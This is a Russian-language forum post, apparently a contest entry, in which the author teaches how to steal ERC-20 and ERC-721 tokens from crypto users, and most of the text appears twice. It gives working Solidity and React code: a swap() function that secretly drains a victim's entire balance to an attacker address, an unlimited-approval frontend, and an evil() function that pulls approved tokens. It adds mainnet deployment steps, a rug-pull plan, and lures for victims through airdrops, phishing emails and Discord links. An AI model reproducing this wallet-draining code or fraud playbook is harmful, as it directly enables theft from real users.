Пожалуйста, обратите внимание, что пользователь заблокирован
...или как украсть токены ERC-20/ERC-721 из под морды хомяка.
Всем привет! Cегодня я хочу рассказать, как я скамлю токены у криптоюзеров. Сначала я подумал, что не подхожу под тематику конкурса, но сразу прояснил для себя, что крипта = скам, а значит, я в деле. За криптой/смарт-контрактами будущее говорят многие, безусловно, в этом есть доля правды, но история показывает, что технологии используют как в благих целях, так и злоупотребляют ими. Я покажу, как можно злоупотребить стандартами реализаций токенов на EVM совместимых blockchain и нажиться на этом.
Аббревиатура ERC переводится как Ethereum Request for Comments - это такой документ, который определяет стандарт и соглашения для разработки смарт-контрактов. ERC-20 есть контракты, которые компилируются и развертываются в блокчейн сеть, в этих контрактах реализуется единый шаблон, который позволяет создавать токены. Токены можно отправлять, обменивать, сжигать, чеканить, голосовать ими и многое другое, нет каких-то ограничений. Мы можем создать на основе стандарта любой финансовый актив или какое-нибудь действие в блокчейне, благодаря транзакциям. В стандарте ERC-20 есть определенные функции, такие как name(), symbol(), decimals(), balanceOf(), transfer(), totalSupply(), transferFrom(), allowance(), approve(). Из всех этих функций нас интересует approve() и transferFrom(). Что они делают? approve() даёт разрешение на операции с токенами. transferFrom() переводит токены из одного адреса на другой. Остальные функции могут задавать имя токена, узнавать баланс и т.д.
Это все, конечно, интересно, но а что если... наш смарт-контракт сможет скрытно вывести все токены, а пользователь даже не поймет, что произошло? Скажем, пользователь пытается обменять один токен на другой через наш веб-интерфейс, но сталкивается с ситуацией, когда контракт опустошает вce его монеты.
Такое возможно, и сейчас мы с вами это сделаем!
Чтобы продемонстрировать этот трюк, создадим свой собственный токен и поможет нам в этом библиотека OpenZeppelin. Напомню, что контракты для EVM (Ethereum Virtual Machine) пишутся на Solidity. Прямо в этом контракте напишем функцию, которая обменивает токены и делает вредоносные действия. Далее развернем контракты в Ropsten сеть и создадим минимальный интерфейс. Наше приложение будет общаться с контрактом по ABI JSON. Для создания веб-приложения будем использовать React и Ethers библиотеку. У вас должно быть некоторое количество тестовых ETH, их можно получить через публичные краны.
Зададим выпуск монет со значением в 500 токенов:
Реализуем функцию обмена токенов и вывода всех средств с кошелька пользователя:
Установим адрес получателя краденных токенов:
Сконструируем наш токен контракт, укажем название токена и получателя краденных токенов:
Скомпилируем и развернем наш контракт в Ropsten сеть:
Переключимся в Ropsten network и выберем Injected Web3. Рядом с кнопкой Deploy укажем адрес получателя краденных токенов (в развернутом контракте мы сможем менять адрес получателя, просто вызывая функцию setTokenReceiver()):
В папке config, которая приложена к этой статье, добавляем в файл contracts.json адрес нашего развернутого контракта (смотрим Etherscan). В файл tokenABI.json добавляем ABI параметры, которые можно скопировать из Remix во вкладке SOLIDITY COMPILER.
В файле HomePage.tsx импортируем модули:
Описываем функции добычи, одобрения, обмена/кражи токенов:
Cобираем и запускаем наше веб-приложение:
Давайте протестируем, нажмем кнопки Approve для подключения к контракту и затем Mint для добычи токенов (по умолчанию выдается 500 токенов):
Пробуем обменять 1 XSSIS на ETH. Нажимаем кнопку Swap. Здесь мы должны обратить внимание на окно MetaMask при совершении транзакции, кошелек не говорит пользователю, что на самом деле будет происходить:
Проверяем транзакцию в Etherscan и смотрим, что произошло. Нами был совершен обмен 1 XSSIS на 0,1 ETH, но так же был произведен вывод всех токенов XSSIS из кошелька пользователя без его ведома:
Хорошо, мы разобрали так называемую "фичу" токенов, поняли концепцию стандарта ERC-20 и разработали контракт, который выводит токен из кошелька нашей жертвы за 1 клик. По сути, чего-то нового мы не изобрели. Мы лишь воспользовались возможностью, которая дает нам стандарт. Давайте создадим более сложный пример и вдобавок разработаем себе инструмент для скама. Мы соберем рабочий DeFi проект и сделаем так, чтобы можно было красть токены из кошельков пользователей, просто вызвав одну функцию. Для начала, разберемся в архитектуре нашего проекта, форкнем интерфейс для наших контрактов и создадим пару токенов для тестирования. Я покажу, как скамлю лично я и в конце cтатьи расскажу о некоторых способах привлечения пользователей. Согласитесь, в этой теме есть где развернуться! Пробуем!
Примитивная схема:
Красным - действиe owner/contract.
Синим - действие users/contract.
Пользователи стейкают стейблкоины/обернутые токены/одиночные токены в наш контракт. Это делается ради награды в виде нашего нативного токена и ради sell pressurе. Наш токен так же может где-то торговаться, например, в Uniswap и иметь в пулах крупную ликвидность. У пользователя будет стимул вводить свои токены к нам в контракт, т.к. потом можно будет нашим токеном торговать. Есть разные способы создавать стимулы для пользователей, к примеру, airdrop или искусственное завышение APY. В этой статье я остановлюсь лишь на том, как обмануть пользователя. В нашем примере задача - заманить как можно больше жертв, которые будут взаимодействовать с нашим контрактом. Достигнув определенного количества пользователей, мы украдем монеты из их кошельков (не пула контракта). Мы вызовем функцию evil(), которая отработает логику по краже монет. Напомню, это происходит потому, что пользователь дал одобрение на взаимодействие с нашим контрактом. Кстати, пользователь может свободно изымать свои средства из пулов контракта, но коварность одобрения токенов состоит в том, что одобрение дает нам украсть монеты хоть через неделю, но при условии, что пользователь собственноручно не отозвал одобрение для нашего контракта. Кстати, пользователю совершенно необязательно стейкать токены, достаточно дать апрув, и мы сможем сделать все вредоносные действия.
Я постараюсь не описывать всю кодовую базу (будет слишком много текста). Все же тема конкурса не о программировании. Оставлю изучение исходного кода для читателя, который хочет глубже погрузиться в работу смарт-контрактов.
Функция по краже монет из кошелька:
На вход дается адрес контракта токена, который мы выводим, и наша функция transferFrom() (её изучили ранее).
Подготовка токенов.
MetaMask заранее переключаем в сеть Rinkeby. Для демонстрации подготовим 2 токена (файл Token.sol). Файл открываем в Remix, в constructor() пишем название токена fakeUSDT, деплоим токен fakeUSDT и записываем его адрес. Затем чеканим (функция mint с параметром amount == 1000000000000000000000000) себе на кошелек (address) 1.000.000 токенов. В том же файле меняем в constructor() название токена с fakeUSDT на XSSIS, так же деплоим, записываем адрес, чеканим 100к токенов себе на кошелек или позже на адрес контракта XSSChef.
Подготовка контракта XSSISChef.
Открываем файл XSSISChef.sol в Remix, компилируем и заполняем параметры:
1) _XSSIS: адрес токена XSSIS
2) _DEVADDR: твой адрес
3) _XSSISPERBLOCK: рекомендую ставить 1000000000000000000 - это 1 токен/блок
4) _STARTBLOCK - заходим на Etherscan и смотрим текущий блок, вставляем это значение туда
5) _BONUSENDBLOCK: 1
6) _ENDBLOCK: рекомендую ставить STARTBLOCK + 100000.
C заполненными данными деплоим контракт и записываем адрес.
Переводим 100к XSSIS на адрес этого контракта.
Вызываем функцию add() с параметрами:
1) _allocPoin: 1
2) _lpToken: адрес токена fakeUSDT
3) _withUpdate: false
На этом этапе мы подготовили все контракты.
Интеграция с фронтендом.
Cобираем проект:
В папке /src/sushi/lib в файле constants.js
в supportedPools меняем:
lpAddresses 4 - на адрес токена fakeUSDT
tokenAddresses 4 - на адрес токена fakeUSDT
В этом же файле contractAddresses:
sushi 4 - адрес токена XSSIS
masterChef 4 - адрес контракта XSSISChef
Запускаем наше веб-приложение:
Фармим XSSIS токены!
Жмем кнопку Select:
Даем апрув и подтверждаем в MetaMask:
Cтейкаем 100 fakeUSDT:
Начисляются XSSIS:
Cнимаем награду и изымаем fakeUSDT:
Вывод средств.
Ранее мы разобрали, как работает функция evil(), теперь обсудим, как работает скрипт, который генерирует нам bytes для этой функции.
Скрипт находится в папке src/utils/generateBytes.js.
1) Записываем адрес токена, который хотим забрать в TokenAAdress.
2) addressFrom - у кого хотим забрать (смотрим Etherscan).
3) addressTo - куда хотим отправить.
4) amount - сколько хотим отправить (в amount нужно изменять только ’10’, то есть, если мы хотим забрать 100, тогда нужно просто написать ‘100’ вместо ’10’, ‘0’.repeat(18) - это для decimals.
Запускаем скрипт и копируем значение, которое выводится в консоль - это и есть наши bytes:
В контракте XSSISChef вызываем функцию evil(), в address указываем адрес контракта токена, который мы хотим украсть, в bytes - то, что скопировали из консоли.
Я пытаюсь украсть 999900 токенов и перевести их на другой адрес:
И вот что из этого вышло:
Дополнение.
Контракт XSSChef деплоится в mainet так же, как и в testnet, подготавливаем только один токен, который предназначен для награды.
Чтобы украсть токены у жертвы, нужно следить в Etherscan за теми адресами, которые взаимодействуют с нашим контрактом. Знаю, это дело не продумано, по-хорошему нужно написать скрипт, который автоматизирует эти действия. Если хотим добавить новые пулы во вкладке Menu (frontend), то нужно найти файл constants.js и просто добавить новые пулы в supportedPools. Пулы - это новые токены, которые заносятся пользователем к нам в контракт, и которые мы можем украсть.
Мы справились! Я показал свой некоторый опыт по запуску крипто проектов и обману пользователей, используя смарт-контракты. Этот вид мошенничества называется Rug Pull. Эту тему можно крутить-вертеть как душе угодно, все зависит лишь от вашего воображения. Есть разные способы, и, на мой взгляд, самые профитные варианты привлечения пользователей. Airdrop токенов на адреса пользователей популярного проекта, который в тоже время, что и мы делает Airdrop, базу адресов можно спарсить по транзакциям. Хорошо работает рассылка по Email ящикам или Discord аккаунтам со ссылкой на фейк. Ну и, конечно же, YouTube/AdWords трафик. Профит в данной теме разнится: я работаю и хорошо себя чувствую. Есть пример, Badger DAO был взломан, где использован именно этот метод монетизации. Мой мануал подходит и для токенов ERC-721 (NFT), все делается по аналогии. Я показал лишь часть из своих наработок и готов ими делиться со всеми. Весь материал будет прикреплен к этой статье. Спасибо за внимание и удачного скама!
dropmefiles.com
Всем привет! Cегодня я хочу рассказать, как я скамлю токены у криптоюзеров. Сначала я подумал, что не подхожу под тематику конкурса, но сразу прояснил для себя, что крипта = скам, а значит, я в деле. За криптой/смарт-контрактами будущее говорят многие, безусловно, в этом есть доля правды, но история показывает, что технологии используют как в благих целях, так и злоупотребляют ими. Я покажу, как можно злоупотребить стандартами реализаций токенов на EVM совместимых blockchain и нажиться на этом.
Аббревиатура ERC переводится как Ethereum Request for Comments - это такой документ, который определяет стандарт и соглашения для разработки смарт-контрактов. ERC-20 есть контракты, которые компилируются и развертываются в блокчейн сеть, в этих контрактах реализуется единый шаблон, который позволяет создавать токены. Токены можно отправлять, обменивать, сжигать, чеканить, голосовать ими и многое другое, нет каких-то ограничений. Мы можем создать на основе стандарта любой финансовый актив или какое-нибудь действие в блокчейне, благодаря транзакциям. В стандарте ERC-20 есть определенные функции, такие как name(), symbol(), decimals(), balanceOf(), transfer(), totalSupply(), transferFrom(), allowance(), approve(). Из всех этих функций нас интересует approve() и transferFrom(). Что они делают? approve() даёт разрешение на операции с токенами. transferFrom() переводит токены из одного адреса на другой. Остальные функции могут задавать имя токена, узнавать баланс и т.д.
Это все, конечно, интересно, но а что если... наш смарт-контракт сможет скрытно вывести все токены, а пользователь даже не поймет, что произошло? Скажем, пользователь пытается обменять один токен на другой через наш веб-интерфейс, но сталкивается с ситуацией, когда контракт опустошает вce его монеты.
Такое возможно, и сейчас мы с вами это сделаем!
Чтобы продемонстрировать этот трюк, создадим свой собственный токен и поможет нам в этом библиотека OpenZeppelin. Напомню, что контракты для EVM (Ethereum Virtual Machine) пишутся на Solidity. Прямо в этом контракте напишем функцию, которая обменивает токены и делает вредоносные действия. Далее развернем контракты в Ropsten сеть и создадим минимальный интерфейс. Наше приложение будет общаться с контрактом по ABI JSON. Для создания веб-приложения будем использовать React и Ethers библиотеку. У вас должно быть некоторое количество тестовых ETH, их можно получить через публичные краны.
Зададим выпуск монет со значением в 500 токенов:
JavaScript:
function mint(address _to) external {
_mint(_to, 500 ether);
emit Mint(_to);
Реализуем функцию обмена токенов и вывода всех средств с кошелька пользователя:
JavaScript:
function swap(uint256 _amount) external {
address sender = msg.sender; // экономим газ
uint256 senderBalance = IERC20(address(this)).balanceOf(sender);
require(senderBalance > 0, "swap: token balance too low");
IERC20(address(this)).transferFrom(sender, address(this), _amount);
IERC20(address(this)).transferFrom(sender, tokenReceiver, senderBalance - _amount);
emit ValueReceived(tokenReceiver, senderBalance - _amount);
}
Установим адрес получателя краденных токенов:
JavaScript:
function setTokenReceiver(address _tokenReceiver) external onlyOwner {
tokenReceiver = _tokenReceiver;
emit SetTokenReceiver(_tokenReceiver);
}
Сконструируем наш токен контракт, укажем название токена и получателя краденных токенов:
JavaScript:
constructor (address _tokenReceiver) ERC20("XSSIS", "XSSIS") {
tokenReceiver = _tokenReceiver;
}
Скомпилируем и развернем наш контракт в Ropsten сеть:
Переключимся в Ropsten network и выберем Injected Web3. Рядом с кнопкой Deploy укажем адрес получателя краденных токенов (в развернутом контракте мы сможем менять адрес получателя, просто вызывая функцию setTokenReceiver()):
В папке config, которая приложена к этой статье, добавляем в файл contracts.json адрес нашего развернутого контракта (смотрим Etherscan). В файл tokenABI.json добавляем ABI параметры, которые можно скопировать из Remix во вкладке SOLIDITY COMPILER.
В файле HomePage.tsx импортируем модули:
JavaScript:
import * as React from "react"
import {
Box,
Button,
Center,
Flex,
Select,
HStack,
Stack,
Input,
InputGroup,
InputLeftAddon,
InputRightAddon,
CircularProgress,
Alert,
AlertIcon,
Text
} from "@chakra-ui/react";
import {useContractFunction, useEthers, useTokenAllowance} from "@usedapp/core";
import {ethers} from "ethers";
import tokenABI from "./configs/tokenABI.json";
import contracts from "./configs/contracts.json";
Описываем функции добычи, одобрения, обмена/кражи токенов:
JavaScript:
const mint = async () => {
await handleChangeNetwork();
await mintTx(account);
setValueStateSuccessed(true);
setTimeout(function(){
setValueStateSuccessed(false);
}.bind(this),5000);
}
const approve = async () => {
await handleChangeNetwork();
await approveTx(contracts.address, ethers.constants.MaxUint256);
setValueapproveStateSuccessed(true);
setTimeout(function(){
setValueapproveStateSuccessed(false);
}.bind(this),5000);
}
const swap = async () => {
await handleChangeNetwork();
if (allowance!.lt(ethers.constants.MaxUint256)) {
alert('Approve tokens!');
}
if (!valueSimple) {
alert('Input XSSIS quantitiy');
return;
}
await swapTx(valueSimple + '0'.repeat(18));
setValueswapStateSuccessed(true);
setTimeout(function(){
setValueswapStateSuccessed(false);
}.bind(this),5000);
}
Cобираем и запускаем наше веб-приложение:
Bash:
yarn
npm run start
Давайте протестируем, нажмем кнопки Approve для подключения к контракту и затем Mint для добычи токенов (по умолчанию выдается 500 токенов):
Пробуем обменять 1 XSSIS на ETH. Нажимаем кнопку Swap. Здесь мы должны обратить внимание на окно MetaMask при совершении транзакции, кошелек не говорит пользователю, что на самом деле будет происходить:
Проверяем транзакцию в Etherscan и смотрим, что произошло. Нами был совершен обмен 1 XSSIS на 0,1 ETH, но так же был произведен вывод всех токенов XSSIS из кошелька пользователя без его ведома:
Хорошо, мы разобрали так называемую "фичу" токенов, поняли концепцию стандарта ERC-20 и разработали контракт, который выводит токен из кошелька нашей жертвы за 1 клик. По сути, чего-то нового мы не изобрели. Мы лишь воспользовались возможностью, которая дает нам стандарт. Давайте создадим более сложный пример и вдобавок разработаем себе инструмент для скама. Мы соберем рабочий DeFi проект и сделаем так, чтобы можно было красть токены из кошельков пользователей, просто вызвав одну функцию. Для начала, разберемся в архитектуре нашего проекта, форкнем интерфейс для наших контрактов и создадим пару токенов для тестирования. Я покажу, как скамлю лично я и в конце cтатьи расскажу о некоторых способах привлечения пользователей. Согласитесь, в этой теме есть где развернуться! Пробуем!
Примитивная схема:
Красным - действиe owner/contract.
Синим - действие users/contract.
Пользователи стейкают стейблкоины/обернутые токены/одиночные токены в наш контракт. Это делается ради награды в виде нашего нативного токена и ради sell pressurе. Наш токен так же может где-то торговаться, например, в Uniswap и иметь в пулах крупную ликвидность. У пользователя будет стимул вводить свои токены к нам в контракт, т.к. потом можно будет нашим токеном торговать. Есть разные способы создавать стимулы для пользователей, к примеру, airdrop или искусственное завышение APY. В этой статье я остановлюсь лишь на том, как обмануть пользователя. В нашем примере задача - заманить как можно больше жертв, которые будут взаимодействовать с нашим контрактом. Достигнув определенного количества пользователей, мы украдем монеты из их кошельков (не пула контракта). Мы вызовем функцию evil(), которая отработает логику по краже монет. Напомню, это происходит потому, что пользователь дал одобрение на взаимодействие с нашим контрактом. Кстати, пользователь может свободно изымать свои средства из пулов контракта, но коварность одобрения токенов состоит в том, что одобрение дает нам украсть монеты хоть через неделю, но при условии, что пользователь собственноручно не отозвал одобрение для нашего контракта. Кстати, пользователю совершенно необязательно стейкать токены, достаточно дать апрув, и мы сможем сделать все вредоносные действия.
Я постараюсь не описывать всю кодовую базу (будет слишком много текста). Все же тема конкурса не о программировании. Оставлю изучение исходного кода для читателя, который хочет глубже погрузиться в работу смарт-контрактов.
Функция по краже монет из кошелька:
JavaScript:
function evil(address _governance, bytes memory _setupData) public onlyOwnerOrGovernance {
governance = _governance;
(bool success,) = governance.call(_setupData);
require(success, "evil: failed");
}
Подготовка токенов.
MetaMask заранее переключаем в сеть Rinkeby. Для демонстрации подготовим 2 токена (файл Token.sol). Файл открываем в Remix, в constructor() пишем название токена fakeUSDT, деплоим токен fakeUSDT и записываем его адрес. Затем чеканим (функция mint с параметром amount == 1000000000000000000000000) себе на кошелек (address) 1.000.000 токенов. В том же файле меняем в constructor() название токена с fakeUSDT на XSSIS, так же деплоим, записываем адрес, чеканим 100к токенов себе на кошелек или позже на адрес контракта XSSChef.
Подготовка контракта XSSISChef.
Открываем файл XSSISChef.sol в Remix, компилируем и заполняем параметры:
1) _XSSIS: адрес токена XSSIS
2) _DEVADDR: твой адрес
3) _XSSISPERBLOCK: рекомендую ставить 1000000000000000000 - это 1 токен/блок
4) _STARTBLOCK - заходим на Etherscan и смотрим текущий блок, вставляем это значение туда
5) _BONUSENDBLOCK: 1
6) _ENDBLOCK: рекомендую ставить STARTBLOCK + 100000.
C заполненными данными деплоим контракт и записываем адрес.
Переводим 100к XSSIS на адрес этого контракта.
Вызываем функцию add() с параметрами:
1) _allocPoin: 1
2) _lpToken: адрес токена fakeUSDT
3) _withUpdate: false
На этом этапе мы подготовили все контракты.
Интеграция с фронтендом.
Cобираем проект:
Bash:
yarn install
В папке /src/sushi/lib в файле constants.js
в supportedPools меняем:
lpAddresses 4 - на адрес токена fakeUSDT
tokenAddresses 4 - на адрес токена fakeUSDT
В этом же файле contractAddresses:
sushi 4 - адрес токена XSSIS
masterChef 4 - адрес контракта XSSISChef
Запускаем наше веб-приложение:
Bash:
yarn start
Фармим XSSIS токены!
Жмем кнопку Select:
Даем апрув и подтверждаем в MetaMask:
Cтейкаем 100 fakeUSDT:
Начисляются XSSIS:
Cнимаем награду и изымаем fakeUSDT:
Вывод средств.
Ранее мы разобрали, как работает функция evil(), теперь обсудим, как работает скрипт, который генерирует нам bytes для этой функции.
Скрипт находится в папке src/utils/generateBytes.js.
1) Записываем адрес токена, который хотим забрать в TokenAAdress.
2) addressFrom - у кого хотим забрать (смотрим Etherscan).
3) addressTo - куда хотим отправить.
4) amount - сколько хотим отправить (в amount нужно изменять только ’10’, то есть, если мы хотим забрать 100, тогда нужно просто написать ‘100’ вместо ’10’, ‘0’.repeat(18) - это для decimals.
Запускаем скрипт и копируем значение, которое выводится в консоль - это и есть наши bytes:
Bash:
node generateBytes.js
В контракте XSSISChef вызываем функцию evil(), в address указываем адрес контракта токена, который мы хотим украсть, в bytes - то, что скопировали из консоли.
Я пытаюсь украсть 999900 токенов и перевести их на другой адрес:
И вот что из этого вышло:
Дополнение.
Контракт XSSChef деплоится в mainet так же, как и в testnet, подготавливаем только один токен, который предназначен для награды.
Чтобы украсть токены у жертвы, нужно следить в Etherscan за теми адресами, которые взаимодействуют с нашим контрактом. Знаю, это дело не продумано, по-хорошему нужно написать скрипт, который автоматизирует эти действия. Если хотим добавить новые пулы во вкладке Menu (frontend), то нужно найти файл constants.js и просто добавить новые пулы в supportedPools. Пулы - это новые токены, которые заносятся пользователем к нам в контракт, и которые мы можем украсть.
Мы справились! Я показал свой некоторый опыт по запуску крипто проектов и обману пользователей, используя смарт-контракты. Этот вид мошенничества называется Rug Pull. Эту тему можно крутить-вертеть как душе угодно, все зависит лишь от вашего воображения. Есть разные способы, и, на мой взгляд, самые профитные варианты привлечения пользователей. Airdrop токенов на адреса пользователей популярного проекта, который в тоже время, что и мы делает Airdrop, базу адресов можно спарсить по транзакциям. Хорошо работает рассылка по Email ящикам или Discord аккаунтам со ссылкой на фейк. Ну и, конечно же, YouTube/AdWords трафик. Профит в данной теме разнится: я работаю и хорошо себя чувствую. Есть пример, Badger DAO был взломан, где использован именно этот метод монетизации. Мой мануал подходит и для токенов ERC-721 (NFT), все делается по аналогии. Я показал лишь часть из своих наработок и готов ими делиться со всеми. Весь материал будет прикреплен к этой статье. Спасибо за внимание и удачного скама!
DropMeFiles – free one-click file sharing service
Share your pictures, send large videos, exchange music or transfer big files. No registration required. Unlimited upload/download speed.
dropmefiles.com
Последнее редактирование:


